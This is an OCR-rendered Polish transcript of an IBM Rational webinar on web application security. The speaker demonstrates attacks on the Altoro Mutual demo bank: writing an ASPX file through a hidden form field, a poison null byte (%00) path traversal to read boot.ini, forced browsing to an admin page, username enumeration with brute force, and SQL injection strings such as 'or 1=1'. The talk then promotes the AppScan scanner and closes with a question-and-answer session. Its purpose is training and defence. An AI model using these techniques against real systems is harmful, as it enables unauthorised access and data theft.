Co si¢ wlasciwie stato? UzyskaliSmy prywatny klucz SSL serwera! Widzimy zatem, jak
niebezpieczne jest przekazywanie bez zadnych zmian danych wpisanych przez uzytkownika i
wykonywanie komendy bez jej sprawdzenia. Zatem niezwykle istotne jest, abySmy nigdy,
powtarzam: nigdy, nie pobierali danych od uzytkownika w niezmienionej postaci, czyli bez
wykonania uprzedniego sprawdzenia.

Na nastepnym slajdzie omawiamy uruchomienie ztosliwego pliku. Ogoélnie chodzi o to, ze
sktaniamy aplikacj¢ do uruchamiania komend lub tworzenia plikdw na serwerze. W efekcie
mozemy przeja¢ wiasciwie catkowita kontrol¢ nad maszyna. Mozemy podmieni¢ strony serwisu,
mozemy wykorzysta¢ XSS. Jest mnostwo rzeczy, ktore jesteSmy w stanie zrobi¢ na serwerze.

Na kolejnym ekranie pokazano, jak moze przebiegac taki atak. Jak mozna wykorzysta¢ ten
konkretny staby punkt zabezpieczen? Znow musimy najpierw zrozumie¢ aplikacj¢ i okreslic jej
profil. Spdjrzmy zatem na formularz ankiety. Zastanowmy sig, co robi aplikacja po przestaniu
danych za posrednictwem tego formularza? By¢ moze umieszcza je w bazie danych?

Spréobujmy zatem wpisac apostrof, aby sprawdzi¢, czy pojawi si¢ btad bazy danych. Przejdzmy
do nastepnego slajdu. Pojawilo si¢ ostrzezenie o mozliwym ataku. Co ciekawe, to okienko
wykorzystuje narzedzie pod nazwa Tamper Data, zdefiniowane w poprzednim bloku.
Wprowadzitem zatem dane, a modul Tamper Data przechwycil to zadanie, zanim zostato
przekazane do serwera WWW. Projektant serwisu ujawnit zatem fragment logiki. W tym miejscu
zaznaczytem ,,comments.txt”. Projektant utworzyt ukryte pole wejsciowe pod nazwa ,.efile”,



ktore okresla, w jakim pliku ma by¢ zapisany komentarz wprowadzony przez uzytkownika. Jest
tu tez pole z nazwa 1 tak dale;j.

Zastandéwmy sig, czym jest ,,comments.txt"? Moze w tym pliku sa zapisywane wszystkie dane
wprowadzone przez uzytkownika? Na kolejnym slajdzie wida¢, ze probuje zmieni¢ nazwe pliku i
spowodowac, aby serwer WWW utworzyt wiasnie taki plik. W tym przypadku zamiast zwyktego
pliku tekstowego utworzymy plik ASPX. Wprowadzimy nieco kodu C# . Zrobimy co$ catkiem
prostego. Zapiszemy plik z nazwami hostow. Metoda prob i1 bledow osiagniemy w koncu to, ze
— jak wida¢ na kolejnym slajdzie — po wprowadzeniu kodu i uruchomieniu zadania mozemy
zmusi¢ system do przej$cia do mojego ,,ztego” serwisu. Jak wida¢, byliSmy w stanie z poziomu
tego pola dostac si¢ do pliku z nazwami hostow. Zwykly uzytkownik na pewno nie powinien
mie¢ takiej mozliwosci.

Stato sig tak dlatego, Ze projektant strony ujawnit wazny fragment logiki aplikacji. Aplikacja
wykorzystuje dane wprowadzone przez uzytkownika do utworzenia pliku, ktory nie istnial, a to
wskazuje, gdzie sa zapisywane dane. ByliSmy zatem w stanie wykorzysta¢ ten staby punkt
zabezpieczen.

Teraz przejdziemy do kolejnego slajdu. Opowiem o niezabezpieczonym bezposrednim
odwotaniu do obiektu. Co to znaczy? Chodzi o sytuacjg¢, w ktorej uzyskujemy dostep do pliku lub
jego czgsci dzigki danym wprowadzonym przez uzytkownika. Jakie sa tego skutki? Mozemy
uzyskac¢ dostep do zastrzezonych zasobow, doprowadzi¢ do wycieku informacji, dosta¢ si¢ do
danych, przygotowac si¢ do przysztych atakow. Teraz przejdziemy do nastgpnego slajdu.
Postaram si¢ zademonstrowac¢ sposéb pobrania plikow z systemu hosta za pomoca ataku z
wykorzystaniem zatrutego bajtu zerowego (poison null byte attack).

Jak wida¢ na kolejnym ekranie, znowu jestesmy w serwisie Altoro Mutual. PrzeszliSmy do czg$ci
aplikacji WWW poswigconej lokatom bankowym. Przyjrzyjmy si¢ adresowi URL — wyglada na
to, ze stosowane jest jakie$ podejécie wykorzystujace szablony. Zadanie jest przekazywane do
pliku default.aspx, a zawartos¢, ktora pojawi si¢ w gtownej czgsci ekranu, pobierana jest przez
aplikacj¢ na podstawie warto$ci parametru. JesteSmy na stronie business_deposit.htm. Zobaczmy,
czy jesli zazadamy innego pliku, aplikacja WWW pobierze go i wyswietli. Na kolejnym slajdzie
wida¢, ze usitujemy zmieni¢ parametr i zazadac pliku boot.ini. Czyli pliku, ktérego w zadnym
razie serwer WWW nie powinien udostepnic.

Ale zaraz... Wydaje sig, ze projektant strony wprowadzit filtr, aby zapewni¢, ze serwer WWW
moze pobrac tylko pliki z rozszerzeniem CSP i HTM. Na kolejnym slajdzie wida¢, ze usitujemy
wprowadzi¢ tak zwany zatruty bajt zerowy — to wtasnie ten napis %00 umieszczony w adresie
URL. Filtr zatem widzi rozszerzenie .HTM, ale co si¢ stanie, gdy zostanie wykonana proba
pobrania tego pliku? Bajt zerowy zostanie zinterpretowany jako koniec ciagu znakow. Na
poziomie systemu plikow zadanie bgdzie dotyczyto jedynie pliku boot.ini. Posrodku ekranu
wida¢, ze udato nam si¢ uzyskac dostep do tego pliku. Ponownie stato si¢ tak dlatego, ze
projektant ujawnit fragment logiki. Aplikacja pobiera plik i wyswietla go na ekranie; przez
wprowadzenie odpowiednich danych uzytkownika mozna wskaza¢ konkretny plik i uzyskac jego
zawartosc.



Przejdzmy do nastgpnego ekranu. Zajmiemy sig teraz wyciekami informacji i niewlasciwa
obstuga btedow. Co to wlasciwie oznacza? Chodzi o informacje niepotrzebnie udostgpniane
podczas obstugi btedéw lub w innych sytuacjach. Jakie moga by¢ tego konsekwencje? Im
wigksza iloscia informacji dysponuje uzytkownik, im wigcej istotnych danych zostato
ujawnionych, tym latwiej zaatakowa¢ aplikacje WWW. Szczegoty konstrukeji aplikacji WWW,
ujawnione fragmenty logiki aplikacji, kod Zrédlowy, sktadnia SQL, stos wywotan wyjatkow —
wszystkie te elementy mozna wykorzysta¢ do uzyskania informacji na temat serwisu i
przeprowadzenia wlamania.

Na kolejnym slajdzie widzimy przyktad z serwisu Altoro Mutual. Jest wiele sposobow wycieku
informacji. Powiedzmy, ze pozostawili$my plik dziennika FTP na serwerze. Intruz moze uzyskaé
listg¢ wszystkich katalogow 1 plikoéw wchodzacych w sktad aplikacji.

Na kolejnym slajdzie mamy kilka przyktadow komentarzy w HTML. Moze to by¢ bardzo prosty
tekst, na przyktad ,,jesli zapomniates swojego identyfikatora...” lub ,,zadzwon pod numer...”.
Nawet taka informacja pozwala wlamywaczowi na podjgcie proby jakiej$ manipulacji. Mozemy
tez na przyktad umiesci¢ w komentarzach definicje funkcji lub informacje o tym, jak sa
wykonywanie pewne wywotania i jakie dane sa oczekiwane. Dowolne tresci ujawnione w
komentarzach albo na przyktad w komunikatach o bledach zawieraja informacje umozliwiajace
przeprowadzenie ataku na aplikacjg.

Na kolejnym slajdzie pokazano w szczeg6dlnosci, ze nawet w komunikacie o blgdzie, ktory juz
widzieliSmy przy okazji proby iniekcji SQL, pojawiaja si¢ nazwy pochodzace z kodu aplikacji.
Stanowi to kolejne utatwienie przeprowadzenia ataku tego typu. Mniej wigcej w potowie
komunikatu widzimy nazwg katalogu, w ktérym znajduje si¢ plik:

downloads\AlturoMutual v5\website\bank\login.aspx. Wymienione sa r6zne wykorzystywane
biblioteki, obiekty i tak dalej. Wszystkie te informacje utatwiaja przeprowadzenie ataku na serwis.

Na kolejnym slajdzie wida¢, Ze nawet bardzo prosta funkcjonalnos$¢, utatwiajaca uzytkownikom
korzystanie z aplikacji, moze by¢ wykorzystana przez wlamywacza. W tym przypadku wystapit
na przyktad blad logowania — podano zte hasto lub identyfikator uzytkownika. Ten rodzaj
wycieku informacji jest bardzo przydatny, jesli kto$ chce zaatakowac strong logowania. Metoda
prob i bledow mozna ustali¢ prawidtowe nazwy uzytkownikow systemu. Czy nazwa
uzytkownika dla administratora jest SA, SA_admin, admin, a moze administrator? Moge
probowac tak dlugo, az znajdg prawidlowa nazwe. A potem juz rozpoczng proby wtamania za
pomoca algorytmu sitowego, czyli tak zwanej metody brute force. Jesli juz uda mi si¢ ustali¢
prawidlowa nazw¢ uzytkownika, to mogg przejrze¢ stownik haset i sprobowa¢ dokonaé
wilamania do aplikac;ji.

Kolejny slajd dotyczy braku ograniczen dostgpu do adresow URL. Uzytkownik moze uzyskac
dostep do zasobu poprzez jawne wskazanie adresu w przegladarce. W konsekwencji moze dojs¢
do wycieku lub zmodyfikowania istotnych informacji, a haker moze uzyska¢ dostep do
uprawnien administratora. Przejdzmy do nastgpnego slajdu. Pokazg teraz, jak wymusi¢ przejscie
do strony administracyjnej. KorzystaliSmy ze standardowej aplikacji. Zobaczmy, jak loguje si¢
administrator. Standardowy administrator loguje si¢ jako ,,admin”. W swojej aplikacji, w lewe;j
dolnej czgsci ekranu, ma dostep do funkcji ,,Wyswietl parametry aplikacji” oraz ,,Edytuj



uzytkownikéw”. Do funkcji ,,Edytuj uzytkownikow” zwykty uzytkownik nie powinien nigdy
uzyska¢ dostgpu.

Na kolejnym slajdzie widaé, ze chcemy wymusi¢ przejscie do strony admin/admin.aspx.
Sprawdzmy, czy aplikacja nam na to pozwoli.

Przejdzmy do nastgpnego ekranu. Logujemy si¢ jako zwykly uzytkownik, JSmith. Sprébujmy
teraz wymusi¢ przejscie do poprzednio pokazywanej strony, po zalogowaniu zmienimy URL na
admin/admin.aspx. Mozna oczywiscie zapytac: skad uzytkownik ma wiedzie¢, ze taka strona
istnieje? Coz, moze probowac zgadnaé. Moze podac¢ katalog ,,admin”, potem poszuka¢ pliku
»admin/admin.aspx” albo... albo zrobi¢ to inaczej. Jesli uzyska dostep do dziennika FTP na
serwerze, pozna listg katalogdéw 1 plikow. Jest wiele sposobow, aby uzyskac t¢ informacjg. Nawet
prosta konwencja nazewnictwa stosowana w aplikacji moze utatwi¢ zdobycie tej wiedzy.

Na kolejnym slajdzie zaprezentowano wiele rodzajow eskalacji uprawnien. Uzytkownik moze
uzyska¢ dostgp do informacji czy tez do plikow, do ktorych nie powinien mie¢ dostegpu.
Dzienniki FTP stanowia tu dobry przyktad. Zawieraja one informacje o r6znych plikach. Jesli
uzytkownik jest w stanie wymusi¢ przej$cie do administracyjnej czgsci aplikacji, nastgpuje tak
zwana pionowa eskalacja uprawnien. Widzieli$my to poprzednio, kiedy zwykty uzytkownik
mogt zmodyfikowac¢ adres URL 1 wymusi¢ przejscie do strony administracyjnej, na ktorej byt w
stanie edytowac dane uzytkownikow. Udato mu si¢ wigc uzyska¢ dostep do stron, do ktérych nie
powinien mie¢ dostepu. Stato si¢ tak dlatego, ze projektant nie sprawdzit, czy JSmith ma dostgp
do strony administracyjnej. Jest jeszcze jeden, nawet bardziej podstawowy, problem wystgpujacy
w przypadku tak zwanej poziomej eskalacji uprawnien: uzytkownik moze mie¢ dostep do dane;j
strony, ale niekoniecznie do informacji na niej wyswietlanych.

Zajmijmy si¢ przyktadowo aplikacja do tworzenia raportoéw. Moge mie¢ dostgp do swoich
informacji, wigc jesli wejde na strong report.aspx, mam prawo przeglada¢ moje prywatne dane.
Ale by¢ moze, korzystajac z narzedzia Temper Data, jestem w stanie zmieni¢ identyfikator w
zadaniu na identyfikator innej osoby. Na tym wtasnie polega pozioma eskalacja uprawnien.
Mozemy rowniez obejrze¢ dane innego uzytkownika, na przyktad dane jego konta bankowego.
Znoéw jest zatem bardzo istotne sprawdzanie danych pochodzacych od uzytkownika. Dotyczy to
zwlaszcza przypadkéw zadan danych od systemu. Musimy sprawdza¢, czy uzytkownik ma prawa
dostepu do danej strony i1 czy ma prawo do informacji, ktérej si¢ domaga.

Wspomniatem o analizie stabych punktéw zabezpieczen. Postaram sig teraz przedstawic
oprogramowanie AppScan, narzgdzie do automatyzacji takiej analizy. Przejdzmy do kolejnego
slajdu. Jesli przyjrzymy si¢ ofercie Watchfire 1 Rational, to zobaczymy ze Rational dostarcza
wiele narzedzi utatwiajacych testowanie funkcjonalnos$ci i wydajnos$ci. Chodzi o produkty takie
jak Rational Functional Tester i Rational Performance Tester. Narz¢dziem Rational do analizy
stabych punktéw zabezpieczen jest AppScan. Oprogramowanie mozna skonfigurowac tak, aby
faczyto si¢ z danym serwisem. Potaczenie to zostanie nawiazane automatycznie. Jesli w aplikacji
uzywana jest technologia AJAX lub menu tworzone dynamicznie za pomoca JavaScript, to
AppScan wywota aplikacje, ustali wszystkie mozliwe metody ataku i rozpocznie uruchamianie
testowych odwotan do aplikacji w celu ustalenia, czy mozliwe jest wykorzystanie iniekcji SQL,
cross-site scripting i innych tego typu atakow.



Na kolejnym slajdzie moga Panstwo zauwazy¢, ze dysponujemy réwniez narzedziem pod nazwa
Policy Tester, ktore pomaga spelni¢ wymagania dotyczace zgodnosci, takie jak Section 508,
GLBA i Safe Harbor. Wspominalem takze o zgodnosci tresci, czyli o tym, czy aplikacja
umozliwia nieuprawniony dostep do danych osobowych. Kolejna kwestia to spetnienie przez
aplikacj¢ wymagan dotyczacych jakosci. Mozliwa jest rowniez inwentaryzacja zasobow serwisu.

Skupimy sig teraz zatem na oprogramowaniu AppScan. Przejdzmy do nast¢pnego slajdu,
wyjasnig, czym naprawdg jest ten produkt. AppScan jest zautomatyzowanym narzgdziem do
sprawdzania stabych punktow zabezpieczen aplikacji WWW. Jest przydatne dlatego, ze znacznie
upraszcza wykrywanie i usuwanie problemow dotyczacych bezpieczenstwa aplikacji WWW. Co
robi AppScan? Jak sama nazwa wskazuje, skanuje aplikacje. Wykrywa problemy zwiazane z
zabezpieczeniami. Raportuje ich wystapienie w sposob ulatwiajacy podjecie dziatan, zatem nie
tylko znajduje stabe punkty aplikacji, lecz takze pomaga je usunad.

Udostepnia sze$¢ rodzajow zalecen. Zawiera szkoleniowy materiat wideo méwiacy o stabych
punktach zabezpieczen. Uzytkownikami pakietu beda zwykle audytorzy bezpieczenstwa.
Zazwyczaj jest to gldowna grupa uzytkownikéw w ramach organizacji. Pracownicy dziatu
zapewniania jakosci wkraczaja po zakonczeniu pracy przez audytorow. Moga sprawdzi¢ problem
po jego rozwigzaniu. Jesli audytorzy maja zbyt wiele zadan, czg$¢ z nich moze przejac dziat
zapewniania jakos$ci 1 wlaczy¢ je do swoich testow. Pozwala to na zwigkszenie zakresu
testowania wszystkich aplikacji bez ograniczania si¢ do gtownego systemu. Kolejna grupa
uzytkownikoéw to programisci, ktérzy moga korzystac z pakietu w celu bardzo wczesnego
wykrywania problemow.

Na kolejnym slajdzie przedstawiono rézne produkty zwigzane z bezpieczenstwem, przeznaczone
dla ré6znych rodzajow organizacji. Stuza one do rozwigzywania problemow z zabezpieczeniami
niezaleznie od tego, w jaki sposob stosuje sig¢ skanowanie. Wersja AppScan Enterprise
QuickScan umozliwia programistom bardzo szybkie i1 bardzo tatwe skanowanie tworzonych
aplikacji WWW. Wersja AppScan QA jest przeznaczona dla dzialu zapewniania jakosci. Wersja
AppScan Audit umozliwia wykonywanie skanowania przez osoby testujace zabezpieczenia. Jest
tez wersja AppScan MSP przeznaczona do monitorowania §rodowiska produkcyjnego. Stuzy do
monitorowania i audytu wdrozonych aplikacji.

Na kolejnym ekranie, co zreszta widzieliSmy juz wczesniej, pokazano ze pakiet AppScan stuzy
do skanowania gornej warstwy stosu, w ktorej znajduja si¢ aplikacje WWW, komponenty
pochodzace od firm zewnetrznych, konfiguracja serwera WWW 1 sam serwer WWW.

Opowiem teraz o tym, w jaki sposob dziata AppScan. AppScan traktuje aplikacje jak ,,czarna
skrzynke”. Przechodzi przez aplikacj¢ WWW i buduje model serwisu w sposob, w jaki zwyktly
uzytkownik moglby korzysta¢ z aplikacji. Stara si¢ okresli¢, jakie stabe punkty w niej wystepuja i
jak moga one zosta¢ wykorzystane przez wlamywaczy. Okres$la kierunki ataku, na podstawie
wybranej strategii testowania. Nastgpnie AppScan testuje aplikacj¢ za pomoca zadan HTTP 1
bada odpowiedzi HTTP zgodnie z ustalonymi regutami sprawdzania. Na diagramie wida¢, ze po
wystaniu zadania HTTP system zaplecza korzysta z tej informacji i wysyta odpowiedz.

Z kolei na nastgpnym slajdzie widzimy, ze AppScan zajmuje si¢ nie tylko wskazaniem problemu.
Pierwszym etapem jest zidentyfikowanie rodzaju aplikacji, z ktdra mamy do czynienia,



okreslenie jej stabych punktow zabezpieczen, a nastgpnie, co najwazniejsze, zostaja podane
zalecenia dotyczace dziatan niezbgdnych do rozwiazania problemu.

Na kolejnym ekranie wida¢, Zze po przejsciu przez aplikacjg¢ narz¢dzie AppScan tworzy po lewe]
stronie drzewo plikow. To lista elementow wykrytych w przeskanowanej aplikacji. Na podstawie
wynikow skanowania AppScan utworzyt zbior zalecen dotyczacych naprawy problemow. Mamy
tu na przyktad wyréznione zalecenia dotyczace sprawdzenia, czy wszystkie niebezpieczne znaki
wprowadzane przez uzytkownika sa odpowiednio filtrowane. Program wskaze wszystkie strony 1
wszystkie parametry, ktore nalezy sprawdzic.

Narzegdzie zawiera tez materiaty szkoleniowe przydatne w sytuacji, gdy niekoniecznie wiemy, na
czym polega przejmowanie hosta albo iniekcja SQL. Pozwala to nie tylko zrozumie¢ problem,
lecz takze znalez¢ jego rozwiazanie.

Tu z kolei mowa jest o tym, ze AppScan zaprojektowano w sposéb elastyczny: mozliwe jest nie
tylko skanowanie dowolnej aplikacji WWW. Pakiet pozwala rowniez na elastyczna obstuge
dowolnych procesow funkcjonujacych w organizacji. Jesli na przyktad dziat bezpieczenstwa
uruchamia audyt aplikacji i znajduje jej stabe punkty, uzytkownik moze po kliknigciu problemu
prawym przyciskiem myszy odesta¢ go do standardowego systemu $ledzenia btgdow uzywanego
w organizacji. Problem od tej pory podlega procesowi §ledzenia. Programisci moga po
zakonczeniu pracy oznaczy¢ problem jako rozwiazany i skierowaé do standardowego procesu
weryfikacji w celu potwierdzenia, ze rzeczywiscie znaleziono rozwiazanie.

Na dole przedstawionego ekranu wida¢ zalecenie, rekomendacje sposobu rozwiazania i wszystkie
istotne informacje, a w szczegdlnosci opis. AppScan dobrze si¢ zatem wpasowuje w cykl
produkcyjny stosowany w organizacji. Dzigki skorzystaniu z istniejacych procesow nie
utrudniamy prac programistow i dziatu zapewniania jako$ci. Po prostu tworzymy informacjg¢ o
kolejnym problemie, ktory powinien by¢ rozwiazany.

Na kolejnym ekranie widzimy podsumowanie prezentacji, a na nastgpnym podkreslamy fakt, ze
mowiliSmy tu o srodowisku aplikacji WWW. Starali$my si¢ wprowadzi¢ rozrdéznienie migdzy
stabymi punktami zabezpieczen sieci i aplikacji. Zdajemy juz sobie sprawg z tego, gdzie nalezy
ich szuka¢. Udalo si¢ zademonstrowac¢ sposob ich wykorzystania przez wtamywaczy, ale takze
sposob ich tatwego wykrycia dzigki zautomatyzowanym narzg¢dziom, takim jak AppScan.

Przekazuje teraz glos Angelique.

Angelique Matheny: Dzigkuj¢ bardzo, Shawn. To byta bardzo interesujaca prezentacja. Ciesze
sig, ze podzielite$ si¢ z nami swoja wiedza i doswiadczeniem zwigzanym z tak waznym i
aktualnym obecnie tematem. Tak, faktycznie przedstawites mndstwo informacji.

Panstwa opinia na temat dzisiejszej prezentacji jest dla nas bardzo istotna. Za chwilg na Panstwa
ekranach pojawi si¢ okienko z ankieta. Poprosimy o pomoc w okresleniu tematow kolejnych
prezentacji. Bardzo cenimy Panstwa zdanie, czekamy zatem na opinie dotyczace dzisiejsze]
prezentacji.



Zanim jednak przejdziemy do ankiety i rozpoczniemy sesj¢ pytan i odpowiedzi, chciatabym
przedstawi¢ kilka zasobow udostgpnianych przez IBM. Na pierwszym slajdzie znajduje sig lista
dodatkowych materiatow zwiazanych z tworzeniem zabezpieczen aplikacji WWW. Jest tu
migdzy innymi odsytacz do wigkszego opracowania oraz do przyktadowego kodu, z ktérym na
poczatek warto si¢ zapoznac.

Na kolejnym slajdzie znajduja si¢ odsytacze do prébnych wersji narzgdzi IBM Rational. Maja
Panstwo dostep do bezptatnych wersji najbardziej popularnego oprogramowania IBM, jak
réwniez do dodatkowych zasobdw zwiazanych z kazdym produktem. Prosz¢ odwiedzi¢ serwis
IBM developerWorks, aby uzyska¢ pelna listg oprogramowania do pobrania.

PrzejdZmy do nastgpnego slajdu. Proszg pamigta¢ o konferencji IBM Rational Software. W tym
roku odbedzie si¢ ona w Orlando, w dniach od 31 maja do 4 czerwca, w osrodkach Swan 1
Dolphin. Zaplanowano ponad 300 sesji zgrupowanych w 14 tematow. Wigcej informacji moga
Panstwo uzyska¢ pod adresem URL podanym na tej stronie.

Chciatabym jeszcze wspomnie¢ o mozliwos$ci uzyskania dodatkowych informacji na naszych
konferencjach. Sa to lokalne spotkania, prowadzone na zywo. Jak wida¢ na tej liScie, oferujemy
r6zne konferencje techniczne. Prowadzimy je w ciagu catego roku w réznych miastach w kraju i
za granica. Proszg sprawdzi¢ w serwisie WWW, ktorego adres podajemy na tym slajdzie, jakie
spotkania sg planowane w Panstwa okolicy. Udziat w nich jest bezplatny.

Kolejny slajd dotyczy szkolen w zakresie produktéw IBM Rational. Panstwa firma bez watpienia
moze zwigkszy¢ produktywnos$¢ dzigki oprogramowaniu Rational do tworzenia aplikacji. Nasze
niedawno wprowadzone, wysoko oceniane szkolenia stanowia doskonaty sposob uzyskania
dodatkowej wiedzy. Jesli chca Panstwo naby¢ oprogramowanie, o ktorym dzi§ méwilismy, lub
inne produkty z naszej oferty, to wszystkie niezbgdne informacje znajda Panstwo w katalogu
oprogramowania IBM. Katalog jest dostepny w postaci pliku PDF 1 w formie interaktywnej w
sieci. Zawiera aktualng list¢ produktow oraz cennik, produkty mozna zamawia¢ droga sieciowa
lub telefoniczna.

Jestesmy juz gotowi do rozpoczecia sesji pytan i odpowiedzi. Moga Panstwo w dalszym ciagu
zglasza¢ pytania w polu znajdujacym sig z lewej strony konsoli.

Shawn, mamy pierwsze pytanie. Sadzg, ze od tego zaczniemy. Czy Policy Tester to WebXM?
Shawn Miller: Tak. Doktadniej mowiac, firma Watchfire opracowata produkt pod nazwa
WebXM. Gdy w ubiegtym roku zostaliSmy przejeci przez IBM, zdecydowalis$my si¢ na zmiang
nazwy tego produktu na Policy Tester. Zatem WebXM to rzeczywiscie Policy Tester.

Angelique Matheny: W porzadku. Zatem wiemy, jak te produkty sa ze soba powiazane.

PrzejdZzmy do kolejnego pytania. Jakie sa podstawowe problemy, z ktorymi mozna sig zetknac,
gdy chcemy uwzgledni¢ bezpieczenstwo w cyklu tworzenia oprogramowania?

Shawn Miller: Jednym z najwazniejszych problemow, z jakim moga si¢ zetkna¢ organizacje, jest
szkolenie. Chodzi o szerszy kontekst, nie tylko o szkolenie dotyczace sposobu uzywania



narzgdzia. Sa problemy ze szkoleniem specjalistow do spraw zapewniania jakosci 1 programistow,
w zakresie rzeczywistych zagadnien bezpieczenstwa. Istotny jest nie tylko techniczny punkt
widzenia, lecz takze zrozumienie zagrozen zwigzanych z r6znymi stabymi punktami
zabezpieczen. Zwykle jesli mowimy o uwzglednieniu bezpieczenstwa w cyklu tworzenia
aplikacji, waznym elementem jest podzielenie tego procesu na etapy.

Na poczatku bezpieczenstwem moga si¢ zaja¢ zaufani doradcy. Moga opracowac szablony
dzialania. Moga pomoc sprawdzi¢ wyniki otrzymane przez dziat zapewniania jakoS$ci, ale w
dalszych fazach rolg t¢ przejma specjalisci do spraw jakosci. Oni wtasnie bgda inicjowac testy,
tworzy¢ szablony, sprawdza¢ wyniki 1 jesli znajda problem, ktorego nie potrafia wyjasnic,
zwroéca si¢ do specjalistow do spraw bezpieczenstwa. Takie podejscie, charakteryzujace si¢
podziatem na etapy, jest stosowane przez wiele organizacji, ktére chca uwzgledni¢ kwestie
zwiazane z bezpieczenstwem w cyklu tworzenia oprogramowania. Przeciwienstwem jest
przerzucenie wszystkich zadan od razu na dzial zapewniania jako$ci. Szkolenia sa na pewno
bardzo wazna czg¢scia tego procesu. Tworcey aplikacji musza zrozumie¢ zasady tworzenia
bezpiecznego kodu. Dziat zapewniania jako$ci musi nie tylko pozna¢ sposoby korzystania z
narzgdzia, lecz takze uzyskac nieco wiedzy na temat stabych punktow zabezpieczen, sposobow
sprawdzania wynikow oraz zagrozen, ktore z nich wynikaja. W koncu przeciez kto§ musi
przejrzec listg stabych punktéw i okresli¢, ktore z nich zostaly naprawione, i tak dalej. To sa
wlasnie niektore sposrod najwazniejszych zagadnien, z ktorymi styka si¢ wiele organizacji.

Angelique Matheny: Dzigkuj¢ za odpowiedz. Zaczglismy od pytan dotyczacych oprogramowania
Rational Policy Tester. Czy mozna w jaki$ sposob przetestowac ten produkt? Czy jest dostgpna
wersja probna?

Shawn Miller: Jesli chodzi o Policy Tester, to zwykle wykonujemy demonstracj¢ produktu, a
potem czasami (w ograniczonym zakresie) przeglad serwisu Klienta. Pozwala to stwierdzi¢, jak
prezentuje sig taki serwis pod wzgledem zgodnosci z odpowiednimi przepisami. Mozna tu
wymieni¢ na przyktad wskazanie niezgodnos$ci z Section 508, TII i tak dalej. Zatem ogdlna rada:
jesli chca Panstwo uzy¢ narzedzia Policy Tester do sprawdzenia serwisu albo skorzystac¢ z niego
w okresie probnym, prosze¢ skontaktowac si¢ z przedstawicielem handlowym IBM Rational lub
IBM Watchfire. Moga oni Panstwu pomoc.

Angelique Matheny: Swietnie, dzigkuje. Mamy kolejne ciekawe pytanie. Na wielu materiatach
reklamowych pojawia si¢ nazwa Watchfire. Jaki to ma zwiazek z IBM? Czy Watchfire jest
nazwa aktualnego produktu?

Shawn Miller: Ach, jasne. Przepraszam za zamieszanie. Watchfire to firma zatozona w potowie
lat 90. W naszej ofercie byto wiele produktow, przy czym w ciagu ostatnich kilku lat
koncentrowaliSmy si¢ na wsparciu organizacji w spetnianiu wymagan dotyczacych zgodnosci.
Zatem Watchfire bylo firma dostarczajaca rozne oprogramowanie. Jednym z gldéwnych
produktéw byt AppScan — narzedzie, o ktorym dzi$ opowiadatem. Drugim takim produktem byt
WebXM, noszacy obecnie nazwe Policy Tester. IBM przejeto Watchfire latem 2007 roku, zatem
firma juz nie istnieje jako osobny byt, cho¢ nazwa wciaz si¢ pojawia. Dzieje sig tak dlatego, ze
wiele 0sob ciagle jednoznacznie kojarzy AppScan z firma Watchfire. Produkt ten jednak nazywa
si¢ obecnie IBM Rational AppScan.



Angelique Matheny: Dzickuje. Przejdziemy teraz do nieco bardziej szczegdélowych pytan, jesli
nie masz nic przeciwko temu. Musiaty si¢ oczywiscie pojawi¢ pytania dotyczace jezyka SQL.

Czy w przypadku iniekcji SQL wlamywacz musi zna¢ nazwy tabel i kolumn, aby przeprowadzi¢
atak?

Shawn Miller: Sa r6zne rodzaje atakdéw, ktore mozna przeprowadzi¢. W przypadku naszej
prezentacji byto to tak zwane obejscie logowania. WprowadziliSmy nieco dodatkowej logiki,
ktéra zmienita sposob, w jaki normalnie zadziatataby instrukcja SQL. Zwykle uzytkownik tworzy
zapytanie w postaci instrukcji ,,select * from user_table where user name = {czemus$} and
password = {czemus$}”. Dodali$my nieco logiki. W tym przypadku nie musieli$my wiedzie¢,
jakie sa nazwy kolumn czy tabel.

Ogolnie rzecz biorac: nie, nie musimy mie¢ tych informacji, istnieja jednak bardziej
zaawansowane typy atakéw. Pierwszym krokiem w takich atakach jest préba okreslenia, jaki typ
bazy danych jest wykorzystywany w systemach zaplecza. Kolejne kroki polegaja na skorzystaniu
z r6znych metod uzyskania odpowiedzi od aplikacji WWW w celu okreslenia nazw tabel,
kolumn i tak dale;.

Warto tu wspomnie¢ o badaniach przeprowadzonych przez Davida Litchfielda. Opublikowat on
artykut pod tytutem ,,Deasemblacja aplikacji WWW z wykorzystaniem komunikatow o btedach
ODBC”. To bardzo interesujacy tekst. Jest w nim mowa o tym, w jaki sposdb mozna rozmyslnie
przekazywac do aplikacji r6zne blgdy, aby uzyska¢ nazwy tabel i kolumn w bazie, co utatwia
przeprowadzenie ataku.

Podobnie w Watchfire, czyli obecnie w ramach IBM Rational, opracowaliSmy narzedzie pod
nazwa Exploiter, ktore Sciaga nazwy tabel i kolumn za posrednictwem aplikacji WWW. Zatem
jesli zaczynamy, nie musimy zna¢ tych nazw — istnieja sposoby ich uzyskania. Mozna takze w
inteligentny sposob odgadna¢ niektore rzeczy. Na przyktad zwykle tabele z danymi
uzytkownikéw nosza nazwy Users, User table 1 tak dalej. To samo dotyczy kolumn, tu z kolei
czesto pojawiaja sig¢ nazwy typu ID czy UID. Zatem atak to kombinacja roznych metod. Zalezy,
jaki atak chcemy przeprowadzi¢. Ale jesli nawet kto$ nie zna nazw tabel 1 kolumn, moze je
ustalic.

Angelique Matheny: Jesli wylaczymy strony z informacja o btedach, to nie uda si¢
przeprowadzi¢ iniekcji SQL, prawda?

Shawn Miller: Wydaje mi sig, ze zwiazanych jest z tym kilka zagadnien. Pierwsza sprawa to
przyktady, ktore widzieli$my, kiedy wprowadzilismy apostrof, co pozwolito nam uzyskaé
zwrotny komunikat o btedzie. W przyktadach szukalismy zatem komunikatow SQL, a konkretnie
komunikatéw o btedach OLE DB. Pomoglo to nam sprawdzié, czy wsrod systemoéw zaplecza jest
baza danych i czy jesteSmy w stanie zmodyfikowac te instrukcjeg.

Istnieje jednak inny typ ataku, nazywany iniekcja SQL ,,na $lepo”. Polega on na wstawieniu
pewnego fragmentu logiki do kazdego parametru i sprawdzeniu zachowania aplikacji.
Przedstawig uproszczony schemat takiego dziatania.

Zatézmy, ze przegladamy informacje o koncie.



Niech numerem konta bgdzie liczba jeden. Nasz atak moze zawiera¢ zapytanie o konto numer 1,
przy czym dodamy nieco kodu, to znaczy dopiszemy ,,or 1 = 1”. Sprawdzamy, czy aplikacja
zwréci informacj¢ o naszym koncie, komunikat o bledzie, czy tez dane jakiegos$ innego konta.
Potem sprobujemy wykonac inne operacje. Zadamy zapytanie o konto numer 1. A potem
